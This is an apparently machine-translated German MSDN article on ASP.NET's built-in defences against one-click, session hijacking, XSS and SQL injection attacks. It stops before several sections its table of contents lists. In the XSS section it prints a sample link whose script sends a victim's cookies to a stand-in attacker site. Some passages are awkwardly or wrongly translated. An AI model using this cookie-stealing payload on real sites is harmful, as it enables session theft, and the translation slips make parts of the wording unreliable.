Abwehr von Webangriffen mit ASP.NET

  • Artikel

 

Dino Esposito
Wintellect

Januar 2005

Gilt für:
   Microsoft ASP.NET 1. X
   Microsoft ASP.NET 2.0

Zusammenfassung: Dino fasst die häufigsten Arten von Webangriffen zusammen und beschreibt, wie Webentwickler integrierte Features von ASP.NET verwenden können, um die Sicherheit zu erhöhen. (13 gedruckte Seiten)

Inhalte

Was ASP.NET Entwickler immer tun sollten, woher die Bedrohungen kommen?
Viewstateuserkey
Cookies und Authentifizierung
Sitzungsentführung
Enableviewstatemac
Validaterequest
Datenbankperspektive
Ausgeblendete Felder
E-Mails und Spam
Zusammenfassung
Zugehörige Ressourcen

Was ASP.NET Entwickler immer tun sollten

Wenn Sie diesen Artikel lesen, müssen Sie sich wahrscheinlich nicht über die wachsende Bedeutung der Sicherheit in Webanwendungen informieren lassen. Sie suchen wahrscheinlich nach praktischen Ratschlägen zur Implementierung von Sicherheit in ASP.NET Anwendungen. Die schlechte Nachricht ist, dass keine Entwicklungsplattform – einschließlich ASP.NET – garantieren kann, dass Sie 100 Prozent sicheren Code schreiben, sobald Sie ihn übernehmen – wer sagt das, nur lügen. Die gute Nachricht, was ASP.NET betrifft, ist, dass ASP.NET, insbesondere Version 1.1 und die kommende Version 2.0, eine Reihe von integrierten Verteidigungsbarrieren integriert, die einsatzbereit sind.

Die Anwendung all dieser Features allein reicht nicht aus, um eine Webanwendung vor allen möglichen und vorhersehbaren Angriffen zu schützen. In Kombination mit anderen Abwehrtechniken und Sicherheitsstrategien bilden die integrierten ASP.NET Features jedoch ein leistungsfähiges Toolkit, um sicherzustellen, dass Anwendungen in einer sicheren Umgebung ausgeführt werden.

Websicherheit ist die Summe verschiedener Faktoren und das Ergebnis einer Strategie, die weit über die Grenzen der einzelnen Anwendung hinausgeht, die Datenbankverwaltung, Netzwerkkonfiguration sowie Social Engineering und Phishing umfasst.

Ziel dieses Artikels ist es, zu veranschaulichen, was ASP.NET Entwickler immer tun sollten, um die Sicherheitsleiste einigermaßen hoch zu halten. Darum geht es in der Sicherheit vor allem – halten Sie die Sicherheit aufrecht, fühlen Sie sich nie ganz sicher und machen es den Bösen immer schwerer, sich zu hacken.

Sehen wir uns an, was ASP.NET zu bieten hat, um den Auftrag zu vereinfachen.

Wo die Bedrohungen herkommen

In Tabelle 1 habe ich die häufigsten Arten von Webangriffen und Fehlern in der Anwendung zusammengefasst, die zum Erfolg führen können.

Angriff Ermöglicht durch . . .
Cross-Site-Scripting (XSS) Nicht vertrauenswürdige Benutzereingaben, die auf der Seite angezeigt werden
Einschleusung von SQL-Befehlen Verkettung von Benutzereingaben zu SQL-Befehlen
Session Hijacking Sitzungs-ID-Raten und gestohlene Sitzungs-ID-Cookies
1-Klick Unwissende HTTP-Beiträge, die per Skript gesendet werden
Manipulation ausgeblendeter Felder Deaktiviertes (und vertrauenswürdiges) ausgeblendetes Feld, das mit vertraulichen Daten gefüllt ist

Tabelle 1. Häufige Webangriffe

Was sind die wichtigsten Fakten, die aus der Liste hervorgehen? Zumindest die folgenden drei, würde ich sagen:

  • Immer wenn Sie eine Art von Benutzereingabe in das Markup des Browsers einfügen, können Sie sich einem Codeinjektionsangriff (allen Variationen von SQL-Einschleusung und XSS) aussetzen.
  • Der Datenbankzugriff muss sicher erfolgen, d. h. mit dem geringsten Berechtigungssatz, der für Konten je möglich ist, und die Verantwortung des einzelnen Benutzers über Rollen abgrenzen.
  • Vertrauliche Daten dürfen niemals über das Kabel gesendet werden (geschweige denn als Klartext) und müssen sicher auf dem Server gespeichert werden.

Es ist interessant zu bemerken, dass die drei oben genannten Punkte drei unterschiedliche Aspekte der Websicherheit behandeln, deren Kombination die einzige vernünftige Möglichkeit ist, eine schusssichere und manipulationssichere Anwendung zu erstellen. Die Facetten der Websicherheit können wie folgt zusammengefasst werden:

  • Codierungsmethoden: Datenvalidierung, Typ- und Pufferlängenüberprüfung, Antimanipulierungsmaßnahmen
  • Datenzugriffsstrategien: Verwenden Sie Rollen, um das schwächste Konto sicherzustellen, verwenden Sie gespeicherte Prozeduren oder zumindest parametrisierte Befehle.
  • Effektive Speicherung und Verwaltung: Senden Sie keine kritischen Daten an den Client, verwenden Sie Hashcodes, um Manipulationen zu erkennen, Benutzer zu authentifizieren und Identitäten zu schützen, wenden Sie strenge Richtlinien für Kennwörter an.

Wie Sie sehen, kann eine sichere Anwendung nur durch die gemeinsamen Anstrengungen von Entwicklern, Architekten und Administratoren entstehen. Gehen Sie nicht davon aus, dass Sie es andernfalls richtig machen können.

Wenn Sie ASP.NET Anwendungen schreiben, bleiben Sie nicht allein, um gegen die Armee von Hackern zu kämpfen, die nur mit Ihrem Gehirn, Ihren Fähigkeiten und Ihren Fingern bewaffnet sind, um Codezeilen zu schreiben. ASP.NET Version 1.1 und höher hilft bei einigen spezifischen Features, die automatische Barrieren gegen einige der oben aufgeführten Bedrohungen erhöhen. Lassen Sie uns sie im Detail überprüfen.

Viewstateuserkey

ViewStateUserKey wurde mit ASP.NET 1.1 eingeführt und ist eine Zeichenfolgeneigenschaft der Page-Klasse, mit der nur wenige Entwickler vertraut sind. Warum? Lesen Sie, was die Dokumentation dazu zu sagen hat.

Weist einem einzelnen Benutzer einen Bezeichner in der Ansichtsstatusvariable zu, die der aktuellen Seite zugeordnet ist

Trotz des verworrenen Stils ist der Satz ziemlich klar; aber können Sie ehrlich sagen, dass es den beabsichtigten Zweck der Immobilie erklärt? Um die Rolle von ViewStateUserKey zu verstehen, müssen Sie etwas weiter lesen, bis Sie zum Abschnitt Hinweise gelangen.

Die -Eigenschaft hilft Ihnen, Angriffe mit einem Klick zu verhindern, indem sie zusätzliche Eingaben bereitstellt, um den Hashwert zu erstellen, der den Ansichtszustand vor Manipulationen schützt. Mit anderen Worten, ViewStateUserKey macht es Hackern viel schwieriger, den Inhalt des clientseitigen Ansichtszustands zu verwenden, um böswillige Beiträge für die Website vorzubereiten. Der -Eigenschaft kann eine beliebige nicht leere Zeichenfolge zugewiesen werden, vorzugsweise die Sitzungs-ID oder die Benutzer-ID. Um die Bedeutung dieser Eigenschaft besser zu verstehen, sehen wir uns kurz die Grundlagen des One-Click-Angriffs an .

Ein Ein-Klick-Angriff besteht darin, ein böswilliges HTTP-Formular auf einer bekannten, anfälligen Website zu veröffentlichen. Es wird als "One-Click" bezeichnet, da es normalerweise damit beginnt, dass ein unwissendes Opfer auf einen verlockenden Link klickt, der per E-Mail erhalten oder gefunden wird, wenn es in einem überfüllten Forum navigiert. Wenn sie dem Link folgen, löst der Benutzer versehentlich einen Remoteprozess aus, der das böswillige <Formular> an eine Website übermittelt. Seien Sie ehrlich: Können Sie sagen, dass Sie nie einem Link wie Klicken Sie hier gefolgt sind, um $1.000.000 zu gewinnen , nur um zu sehen, was passiert? Anscheinend ist Ihnen nichts Schlechtes passiert. Nehmen wir an, dass dies richtig ist. können Sie das gleiche für den gesamten Rest der Webcommunity sagen? Wer weiß.

Um erfolgreich zu sein, erfordert ein Ein-Klick-Angriff bestimmte Hintergrundbedingungen:

  • Der Angreifer muss viel über die anfällige Website wissen. Dies kann passieren, weil der Angreifer die Datei "sorgfältig" studiert hat, oder weil er/sie ein wütender interner Mitarbeiter ist (z. B. ein entlassener und unehrlichster Mitarbeiter). Aus diesem Grund könnte der Angriff möglicherweise verheerend sein.
  • Die Website muss Cookies verwenden (besser, wenn persistente Cookies), um einmaliges Anmelden zu implementieren, und der Angreifer sollte ein gültiges Authentifizierungscooky erhalten haben.
  • Bestimmte Benutzer der Website sind an vertraulichen Transaktionen beteiligt.
  • Der Angreifer muss Zugriff auf die Zielseite haben.

Wie bereits erwähnt, besteht der Angriff darin, ein böswilliges HTTP-Formular an eine Seite zu übermitteln, die ein Formular erwartet. Vernünftigerweise verwendet diese Seite bereitgestellte Daten, um einen vertraulichen Vorgang auszuführen. Vernünftigerweise weiß der Angreifer genau, wie jedes Feld verwendet wird und kann einige gefälschte Werte erhalten, um sein Ziel zu erreichen. Es ist in der Regel ein gezielter Angriff, und es ist auch schwierig, aufgrund des dreieckigen Handels, den er etabliert, zurückzuverfolgen – der Hacker veranlasst ein Opfer, auf einen Link auf der Website des Hackers zu klicken, was wiederum den schlechten Code an eine dritte Website sendet. (Siehe Abbildung 1.)

ms972969.securitybarriers01(en-us,MSDN.10).gif

Abbildung 1. Der Ein-Klick-Angriff

Warum ein ahnungsloses Opfer? Denn auf diese Weise zeigen Serverprotokolle, dass die IP-Adresse, von der die fehlerhafte Anforderung stammt, die IP-Adresse des Opfers ist! Wie bereits erwähnt, ist dieser Angriff nicht so häufig (und einfach zu organisieren) wie ein "klassischer" XSS; seine Art macht es jedoch potenziell verheerend. Was ist das Heilmittel dafür? Sehen wir uns die Mechanismen des Angriffs im ASP.NET Kontext an.

Wenn die Aktion nicht im Page_Load-Ereignis codiert ist, gibt es keine Möglichkeit, dass eine ASP.NET Seite sensiblen Code außerhalb eines Postbackereignisses ausführen kann. Damit ein Postbackereignis stattfinden kann, ist das Ansichtszustandsfeld obligatorisch. Beachten Sie, dass ASP.NET den Postbackstatus einer Anforderung überprüft und IsPostBack entsprechend festlegt, basierend auf dem Vorhandensein des _VIEWSTATE Eingabefelds. Wer also eine gefälschte Anforderung an eine ASP.NET Seite senden möchte, muss unbedingt ein gültiges Ansichtszustandsfeld angeben.

Damit der Ein-Klick-Angriff funktioniert, muss der Hacker Zugriff auf die Seite gehabt haben. Als dies geschehen ist, hat der weitsichtige Hacker die Seite lokal gespeichert. Jetzt kann er auf das Feld _VIEWSTATE zugreifen und damit eine Anforderung mit dem alten Ansichtszustand und schädlichen Werten in anderen Feldern erstellen. Die Frage ist, wird das funktionieren?

Warum nicht? Wenn der Angreifer ein gültiges Authentifizierungscookies bereitstellen kann, kommt der Hacker ein und die Anforderung wird regelmäßig verarbeitet. Der Inhalt des Ansichtszustands wird auf dem Server überhaupt nicht überprüft (wenn EnableViewStataMac deaktiviert ist) oder nur auf Manipulationen überprüft. Standardmäßig gibt es nichts im Ansichtszustand, der diesen Inhalt an einen bestimmten Benutzer bindet. Der Angreifer kann den Ansichtszustand, den er über den legalen Zugriff auf die Seite erhalten hat, problemlos wiederverwenden, um eine gefälschte Anforderung im Namen eines anderen Benutzers zu erstellen. Hier passt ViewStateUserKey .

Bei genauer Auswahl fügt die Eigenschaft dem Ansichtszustand benutzerspezifische Informationen hinzu. Wenn die Anforderung verarbeitet wird, extrahiert ASP.NET den Schlüssel aus dem Ansichtszustand und vergleicht ihn mit dem ViewStateUserKey der ausgeführten Seite. Wenn die beiden übereinstimmen, wird die Anforderung als legitim betrachtet. Andernfalls wird eine Ausnahme ausgelöst. Was ist ein gültiger Wert für die Eigenschaft?

Das Festlegen von ViewStateUserKey auf eine konstante Zeichenfolge – die für alle Benutzer identisch ist – ist wie leer. Sie müssen es auf etwas festlegen, das für jeden Benutzer variiert– Benutzer-ID oder, besser noch, Sitzungs-ID. Aus verschiedenen technischen und sozialen Gründen ist die Sitzungs-ID hier deutlich besser geeignet, weil sie unvorhersagbar ist, abläuft und sich von Benutzer zu Benutzer unterscheidet.

Hier ist der Code angegeben, der auf allen Seiten vorhanden sein muss:

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

Um zu vermeiden, dass dies immer wieder geschrieben wird, können Sie ihn in der virtuellen OnInit-Methodeder page-abgeleiteten Klasse anschrauben. (Beachten Sie, dass Sie diese Eigenschaft im Page.Init-Ereignis festlegen müssen.)

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

Insgesamt ist die Verwendung einer Basisseitenklasse immer eine gute Sache, wie ich in meinem Artikel Build Your ASP.NET Pages on a Richer Bedrock erkläre. Ein ausgezeichneter Artikel, um mehr über die Taktik von One-Click-Angreifern zu erfahren, finden Sie auf aspnetpro.com.

Cookies und Authentifizierung

Cookies sind vorhanden, weil sie Entwicklern helfen können, Ergebnisse zu erzielen. Cookies funktionieren als eine Art permanenter Link zwischen Browser und Server. Insbesondere für Anwendungen, die einmaliges Anmelden verwenden, ist ein gestohlenes Cookie genau das, was den Angriff möglich macht. Dies ist sicherlich der Fall bei One-Click-Angriffen.

Um Cookies verwenden zu können, müssen Sie sie nicht explizit programmgesteuert erstellen und lesen. Sie verwenden Implizit Cookies, wenn Sie den Sitzungszustand verwenden und die Formularauthentifizierung implementieren. Sicher, ASP.NET unterstützt den cookielosen Sitzungszustand, und ASP.NET 2.0 führt auch die Authentifizierung von formularlosen Cookies ein. So könnten Sie diese Funktionen theoretisch ohne Die Verwendung von Cookies verwenden. Ich sage nicht, dass Sie nicht müssen, aber dies ist nur einer der Fälle, in denen das Mittel noch schlimmer sein kann als die Krankheit. Cookielose Sitzungen betten die Sitzungs-ID in die URL ein, sodass sie für alle sichtbar ist.

Welche potenziellen Probleme bestehen im Zusammenhang mit der Verwendung von Cookies? Cookies können gestohlen (d. a. auf den Computer des Hackers kopiert) und vergiftet (d. a. mit schädlichen Daten gefüllt) werden. Diese Aktionen sind häufig der Auftakt zu einem eingehenden Angriff. Wenn Authentifizierungscookies gestohlen werden, "autorisieren" externe Benutzer, im Namen von Ihnen eine Verbindung mit der Anwendung herzustellen (und geschützte Seiten zu verwenden), sodass Hacker die Autorisierung gerne umgehen können und sich selbst tun können, welche Rollen und Sicherheitseinstellungen das Opfer tun können. Aus diesem Grund erhalten Authentifizierungscookies normalerweise eine relativ kurze Lebensdauer von 30 Minuten. (Beachten Sie, dass das Cookie auch dann abläuft, wenn die Sitzung des Browsers länger dauert.) Im Falle eines Diebstahls haben Hacker ein 30-minütiges Zeitfenster, um den Angriff zu versuchen.

Dieses Fenster kann vergrößert werden, damit sich Benutzer nicht zu häufig anmelden müssen. Seien Sie sich bewusst, dass Sie dies auf eigene Gefahr tun. Vermeiden Sie in jedem Fall die Verwendung von ASP.NET persistenten Cookies. Das würde die Lebensdauer des Keks praktisch staunend machen, so lange wie 50 Jahre! Der folgende Codeausschnitt zeigt, wie Sie den Ablauf des Cookies in Ruhe ändern.

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

Sie können diesen Code in Ihren eigenen Anmeldeformularen verwenden, um die Lebensdauer von Authentifizierungscookies zu optimieren.

Sitzungsentführung

Cookies werden auch verwendet, um den Sitzungszustand für einen bestimmten Benutzer abzurufen. Die ID der Sitzung wird in einem Cookie gespeichert, das mit der Anforderung hin und her wechselt und auf dem Computer des Browsers gespeichert wird. Auch hier, wenn das Sitzungscookies gestohlen wird, kann verwendet werden, um einen Hacker in das System zu bringen und auf den Sitzungszustand einer anderen Person zuzugreifen. Dies kann selbstverständlich so lange geschehen, wie die angegebene Sitzung aktiv ist – in der Regel nicht länger als 20 Minuten. Ein Angriff, der über einen gefälschten Sitzungszustand durchgeführt wird, wird als Sitzungsentführung bezeichnet. Weitere Informationen zur Sitzungsentführung finden Sie unter Diebstahl im Web: Verhindern von Sitzungsentführungen.

Wie gefährlich kann dieser Angriff sein? Schwer zu sagen. Dies hängt davon ab, was die Website tut und was noch wichtiger ist, wie ihre Seiten gestaltet sind. Angenommen, Sie könnten das Sitzungscookies einer anderen Person abrufen und an eine Anforderung an eine Seite auf der Website anfügen. Sie laden die Seite und arbeiten über die normale Benutzeroberfläche. Es gibt keinen Code, den Sie in die Seite einfügen können, und nichts auf der Seite, den Sie ändern können, außer dass die Seite jetzt mit dem Sitzungszustand eines anderen Benutzers funktioniert. Dies ist per se nicht schlecht, kann hacker jedoch direkt zu einem erfolgreichen Exploit führen, solange die Informationen in der Sitzung vertraulich und kritisch sind. Sehen Sie, der Hacker kann nicht in den Inhalt des Sitzungsspeichers einsuchen, aber was darin gespeichert ist, wird verwendet, als ob der Hacker ihn rechtmäßig betreten hätte. Stellen Sie sich beispielsweise eine E-Commerce-Anwendung vor, bei der Benutzer einem Einkaufswagen Elemente hinzufügen, während sie durch die Website navigieren.

  • Szenario Nr. 1. Der Inhalt des Einkaufswagens wird im Sitzungszustand gespeichert. Beim Check-out wird der Benutzer jedoch aufgefordert, die Zahlungsdetails über eine sichere SSL-Verbindung zu bestätigen und einzugeben. In diesem Fall ermöglicht das Einstecken in den Sitzungszustand eines anderen Benutzers nur, dass der Hacker einige Details über die Einkaufspräferenzen des Opfers erfahren kann. Es entsteht in diesem Zusammenhang keine Art von Schaden durch Entführung. Nur die Vertraulichkeit ist gefährdet.
  • Szenario Nr. 2. Die Anwendung verarbeitet ein Profil für jeden registrierten Benutzer und speichert das Profil im Sitzungszustand. Leider enthält das Profil (wie möglicherweise der Fall) Guthaben Karte Informationen. Gründe für das Speichern von Benutzerprofildetails in der Sitzung Vielleicht ist eines der Ziele der Anwendung letztendlich, Benutzer vor der eingabe ihres Guthabens Karte und Bankinformationen immer wieder zu bewahren. Beim Auschecken navigiert die Anwendung den Benutzer zu einer Seite mit bereits ausgefüllten Feldern. Improvidently ist eines dieser Felder das Guthaben Karte Nummer aus dem Sitzungszustand. Können Sie jetzt das Ende der Geschichte erraten?

Der Entwurf der Seite der Anwendung ist der Schlüssel, um Session Hijacking-Angriffe zu verhindern. Zwei Punkte bleiben jedoch offen. Die erste ist, was können Sie tun, um Cookie-Diebstahl zu verhindern? Die zweite ist, was kann ASP.NET tun, um Hijacking zu erkennen und zu blockieren?

Das ASP.NET Sitzungscookies ist äußerst einfach und auf die alleinige Sitzungs-ID-Zeichenfolge beschränkt. Die ASP.NET Runtime extrahiert die Sitzungs-ID aus dem Cookie und überprüft sie anhand der aktiven Sitzungen. Wenn die ID gültig ist, stellt ASP.NET eine Verbindung mit der entsprechenden Sitzung her und wird fortgesetzt. Dieses Verhalten vereinfacht das Leben für Hacker, die eine gültige Sitzungs-ID gestohlen haben oder erraten können, erheblich.

XSS- und Man-in-the-Middle-Angriffe sowie brute-Zugriff auf einen Client-PC sind alle Möglichkeiten, ein gültiges Cookie zu erhalten. Um Diebstähle zu verhindern, sollten Sie bewährte Sicherheitsmethoden implementieren, um zu verhindern, dass XSS und alle seine Varianten erfolgreich sind.

Um das Raten von Sitzungs-IDen zu verhindern, sollten Sie stattdessen einfach vermeiden, Ihre Fähigkeiten zu überschätzen. Das Erraten einer Sitzungs-ID bedeutet, dass Sie eine Möglichkeit kennen, eine gültige Sitzungs-ID-Zeichenfolge vorherzusagen. Angesichts des Algorithmus, der von ASP.NET verwendet wird (15 Zufallszahlen, die URL-fähigen Zeichen zugeordnet sind), nähert sich Ihre Chance, eine gültige ID zufällig zu erraten, null. Es gibt keinen Grund, warum ich mir vorstellen kann, den Standardsitzungs-ID-Generator durch Ihren eigenen zu ersetzen. In vielen Fällen machen Sie Angreifern das Leben nur leichter.

Was am Session Hijacking noch schlimmer ist, ist, dass, sobald ein Cookie gestohlen oder erraten wurde, nicht viel ASP.NET tun können, um die betrügerische Verwendung des Cookies zu erkennen. Auch hier ist der Grund, dass sich ASP.NET auf die Überprüfung der Gültigkeit der ID beschränkt und den Ursprung des Cookies in Frage stellt.

Mein Wintellect-Kumpel Jeff Prosise hat einen hervorragenden Artikel über Session Hijacking für das MSDN Magazine geschrieben. Seine Schlussfolgerungen bieten wenig Komfort – es ist praktisch unmöglich, eine narrensichere Verteidigung gegen Angriffe zu entwickeln, die auf gestohlenen Sitzungs-ID-Cookies basieren - aber der von ihm entwickelte Code bietet einen intelligenten Tipp, um die Sicherheitslatte noch höher zu legen. Jeff hat ein HTTP-Modul erstellt, das eingehende Anforderungen und ausgehende Antworten für Sitzungs-ID-Cookies überwacht. Das Modul fügt einen Hashcode an ausgehende Sitzungs-IDs an, der es für den Angreifer schwieriger machen würde, dieses Cookie wiederzuverwenden. Details finden Sie hier.

Enableviewstatemac

Der Ansichtszustand wird verwendet, um den Zustand von Steuerelementen über zwei aufeinander folgende Anforderungen für dieselbe Seite beizubehalten. Standardmäßig ist der Ansichtszustand Base64-codiert und mit einem Hashwert signiert, um Manipulationen zu verhindern. Wenn Sie die Standardseiteneinstellungen nicht ändern, besteht keine Gefahr einer Manipulation des Ansichtszustands. Wenn ein Angreifer den Ansichtsstatus ändert oder den Ansichtszustand mithilfe des richtigen Algorithmus neu erstellt, fängt ASP.NET den Versuch ab und löst eine Ausnahme aus. Ein manipulierter Ansichtszustand ist nicht unbedingt schädlich – er ändert jedoch den Zustand der Serversteuerelemente –, kann aber zum Vehikel schwerwiegender Infektionen werden. Aus diesem Grund ist es von äußerster Bedeutung, dass Sie die standardmäßige Kreuzüberprüfung des Computerauthentifizierungscodes (MAC) nicht entfernen. Weitere Informationen in Abbildung 2.

ms972969.securitybarriers02(en-us,MSDN.10).gif

Abbildung 2. Was macht den Ansichtszustand von Natur aus manipulationssicher, wenn EnableViewStateMac aktiviert ist?

Wenn die MAC-Überprüfung aktiviert ist (die Standardeinstellung), wird dem serialisierten Ansichtszustand ein Hashwert angefügt, der sich aus einigen serverseitigen Werten und dem Benutzerschlüssel für den Ansichtsstatus ergibt, falls vorhanden. Wenn der Ansichtsstatus zurückgesendet wird, wird der Hashwert mithilfe neuer serverseitiger Werte erneut berechnet und mit dem gespeicherten Wert verglichen. Wenn die beiden übereinstimmen, ist die Anforderung zulässig. andernfalls wird eine Ausnahme ausgelöst. Selbst wenn der Hacker über die Fähigkeiten verfügt, den Ansichtszustand zu knacken und neu zu erstellen, muss er die vom Server gespeicherten Werte kennen, um einen gültigen Hash zu erhalten. Insbesondere muss der Hacker den Computerschlüssel kennen, auf den < im machineKey-Eintrag> von machine.config verwiesen wird.

Standardmäßig wird der <MachineKey-Eintrag> automatisch generiert und physisch in der lokalen Windows-Sicherheitsbehörde (LSA) gespeichert. Nur bei Webfarmen – wenn die Computerschlüssel des Ansichtszustands auf allen Computern identisch sein müssen – sollten Sie sie als Klartext in der machine.config-Datei angeben.

Die MAC-Überprüfung des Ansichtszustands wird über ein @Page-Anweisungsattribut mit dem Namen EnableViewStateMac gesteuert. Wie bereits erwähnt, ist es standardmäßig auf true festgelegt. Deaktivieren Sie es nie; Dies würde die Manipulation des Ansichtszustands mit einem Klick möglich machen, und das mit großen Erfolgschancen.

Validaterequest

Cross-Site Scripting (XSS) ist für viele erfahrene Webentwickler ein alter Bekannter – es gibt es seit 1999. Einfach ausgedrückt: XSS nutzt Löcher im Code aus, um den ausführbaren Code eines Hackers in die Browsersitzung eines anderen Benutzers einzubringen. Ausgeführt, kann der eingefügte Code eine Vielzahl von Aktionen ausführen– Cookies abrufen und eine Kopie auf die von Hackern kontrollierte Website hochladen, die Websitzung des Benutzers überwachen und Daten weiterleiten, das Verhalten und Das Aussehen der gehackten Seite ändern, die falsche Informationen enthält, sogar dauerhaft machen, damit der Benutzer das nächste Mal zur Seite zurückkehrt, der betrügerische Code wird erneut ausgeführt. Ausführlichere Informationen zu den Grundlagen eines XSS-Angriffs finden Sie im TechNet-Artikel Übersicht über siteübergreifende Skripterstellung.

Welche Schlupflöcher im Code ermöglichen XSS-Angriffe?

XSS nutzt Webanwendungen, die HTML-Seiten dynamisch generieren und die eingabe nicht überprüfen, die auf die Seite weitergeleitet wird. Eingabe bedeutet hier den Inhalt von Abfragezeichenfolgen, Cookies und Formularfeldern. Wenn diese Inhalte ohne ordnungsgemäße Überprüfungen der Integrität online gehen, besteht das Risiko, dass Hacker sie manipulieren können, um schädliche Skripts in Clientbrowsern auszuführen. (Schließlich ist der oben erwähnte One-Click-Angriff eine aktuelle Variante von XSS.) Ein typischer XSS-Angriff beinhaltet, dass der ahnungslose Benutzer einem lockenden Link folgt, der Escapeskriptcode einbettet. Der betrügerische Code wird an eine anfällige Seite gesendet, die ihn vertrauensvoll ausgibt. Hier sehen Sie ein Beispiel für das, was passieren kann:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

Der Benutzer klickt auf einen scheinbar sicheren Link und übergibt zu einer anfälligen Seite einen Skriptcode, der zuerst alle Cookies auf dem Computer des Benutzers erhält und sie dann an eine Seite auf der Website des Hackers sendet.

Es ist wichtig zu beachten, dass XSS kein anbieterspezifisches Problem ist und nicht unbedingt Löcher im Internet Explorer ausnutzt. Es wirkt sich auf jeden Webserver und Browser aus, der derzeit auf dem Markt ist. Noch wichtiger ist, dass es keinen einzelnen Patch gibt, um es zu beheben. Sie können Ihre Seiten sicherlich vor XSS schützen, indem Sie bestimmte Maßnahmen anwenden und Codierungsmethoden ohne Codierung verwenden. Beachten Sie außerdem, dass der Angreifer nicht benötigt, dass der Benutzer auf einen Link klicken muss, um den Angriff zu starten.

Um XSS zu schützen, müssen Sie in erster Linie bestimmen, welche Eingabe gültig ist, und alle anderen ablehnen. Eine detaillierte Checkliste zum Vereiten von XSS-Angriffen finden Sie in dem Buch, das bei Microsoft – Writing Secure Code von Michael Howard und David LeBlanc eine Pflichtlektüre ist. Insbesondere empfehle ich Ihnen, Kapitel 13 sorgfältig zu betrachten.

Die primäre Möglichkeit, schleichende XSS-Angriffe zu verhindern, besteht darin, Ihrer Eingabe eine gut gemachte und solide Validierungsebene hinzuzufügen – jede Art von Eingabedaten. Es gibt beispielsweise Umstände , unter denen selbst eine ansonsten harmlose Farbe – ein RGB-Triplet – unkontrolliertes Skript direkt auf die Seite bringen kann.

In ASP.NET 1.1 überprüft das ValidateRequest-Attribut auf der @Page-Direktive, dass Benutzer kein potenziell gefährliches HTML-Markup in Abfragezeichenfolgen, Cookies oder Formularfeldern senden. Wenn dies erkannt wird, wird eine Ausnahme ausgelöst, und die Anforderung wird abgebrochen. Das Attribut ist standardmäßig aktiviert. Sie müssen nichts tun, um geschützt zu werden. Wenn Sie zulassen möchten, dass HTML-Markup übergeben wird, müssen Sie es aktiv deaktivieren.

<%@ Page ValidateRequest="false" %>

ValidateRequest ist nicht das Wundermittel und kann keine effektive Validierungsebene ersetzen. Lesen Sie hier , um viele wertvolle Informationen darüber zu erhalten, wie das Feature wirklich unter der Haube funktioniert. Es wendet im Grunde einen regulären Ausdruck an, um einige potenziell schädliche Sequenzen abzufangen.

Hinweis Das ValidateRequest-Feature war ursprünglich fehlerhaft. Sie müssen einen Patch anwenden, damit er wie erwartet funktioniert. Dies sind wertvolle Informationen, die oft unbemerkt verstrichen sind. Seltsamerweise fand ich selbst einen meiner Computer noch von dem Fehler betroffen. Probieren Sie es aus!

Es gibt keinen Grund, ValidateRequest nicht eingeschaltet zu lassen. Sie können es deaktivieren, aber Sie müssen einen sehr guten Grund haben. eine davon könnte die Benutzeranforderung sein, einige HTML-Dateien auf der Website veröffentlichen zu können, um bessere Formatierungsoptionen zu erhalten. In diesem Fall sollten Sie die Anzahl der zulässigen HTML-Tags (<pre>, <b>, i>,<p>,<<br>, hr>) einschränken und einen regulären Ausdruck schreiben,< der sicherstellt, dass nichts anderes zulässig oder akzeptiert wird.

Hier sind einige weitere Tipps zum Schutz ASP.NET Anwendungen vor XSS:

  • Verwenden Sie HttpUtility.HtmlEncode , um gefährliche Symbole in ihre HTML-Darstellung zu konvertieren.
  • Verwenden Sie doppelte Anführungszeichen anstelle einzelner Anführungszeichen, da die HTML-Codierung nur doppelte Anführungszeichen enthält.
  • Erzwingen sie eine Codepage, um die Anzahl von Zeichen zu begrenzen, die verwendet werden können.

Zusammenfassend lässt sich sagen, dass Sie das ValidateRequest-Attribut verwenden, aber nicht vollständig vertrauen, und seien Sie nicht zu faul. Verwenden Sie einige Zeit, um Sicherheitsbedrohungen wie XSS an ihren Wurzeln zu verstehen und eine Verteidigungsstrategie zu planen, die sich auf einen zentralen Punkt zentriert – betrachten Sie alle Benutzereingaben als übel.

Datenbankperspektive

SQL-Einschleusung ist eine weitere bekannte Art von Angriff, bei der Anwendungen ausgenutzt werden, die ungefilterte Benutzereingaben verwenden, um Datenbankbefehle zu erstellen. Wenn die Anwendung glücklicherweise verwendet, was der Benutzer in einem Formularfeld eingibt, um eine SQL-Befehlszeichenfolge zu erstellen, besteht das Risiko, dass ein böswilliger Benutzer einfach auf die Seite zugreifen und betrügerische Parameter eingibt, um die Art der Abfrage zu ändern. Weitere Informationen zur SQL-Einschleusung finden Sie hier.

Es gibt viele Möglichkeiten, einen SQL-Einschleusungsangriff zu verhindern. Hier sind die am häufigsten verwendeten Techniken aufgeführt.

  • Stellen Sie sicher, dass alle Benutzereingaben den richtigen Typ haben und dem erwarteten Muster folgen (Postleitzahl, SSN, E-Mail-Adresse). Wenn Sie eine Zahl aus einem Textfeld erwarten, blockieren Sie die Anforderung, wenn der Benutzer etwas eingibt, das nicht in eine Zahl konvertiert werden kann.
  • Verwenden Sie parametrisierte Abfragen oder noch besser gespeicherte Prozeduren.
  • Verwenden Sie SQL Server Berechtigungen, um die Aktivitäten der einzelnen Benutzer in der Datenbank einzuschränken. Beispielsweise können Sie xp_cmdshell deaktivieren oder auf Administratoren beschränken.

Wenn Sie eine gespeicherte Prozedur verwenden, reduzieren Sie die Angriffsfläche erheblich. Bei gespeicherten Prozeduren müssen Sie SQL-Zeichenfolgen nicht dynamisch erstellen. Darüber hinaus werden alle Parameter in SQL Server mit den angegebenen Typen überprüft. Dies allein ist zwar keine 100-prozentige sichere Technik, aber in Kombination mit der Validierung werden Sie sicherer.

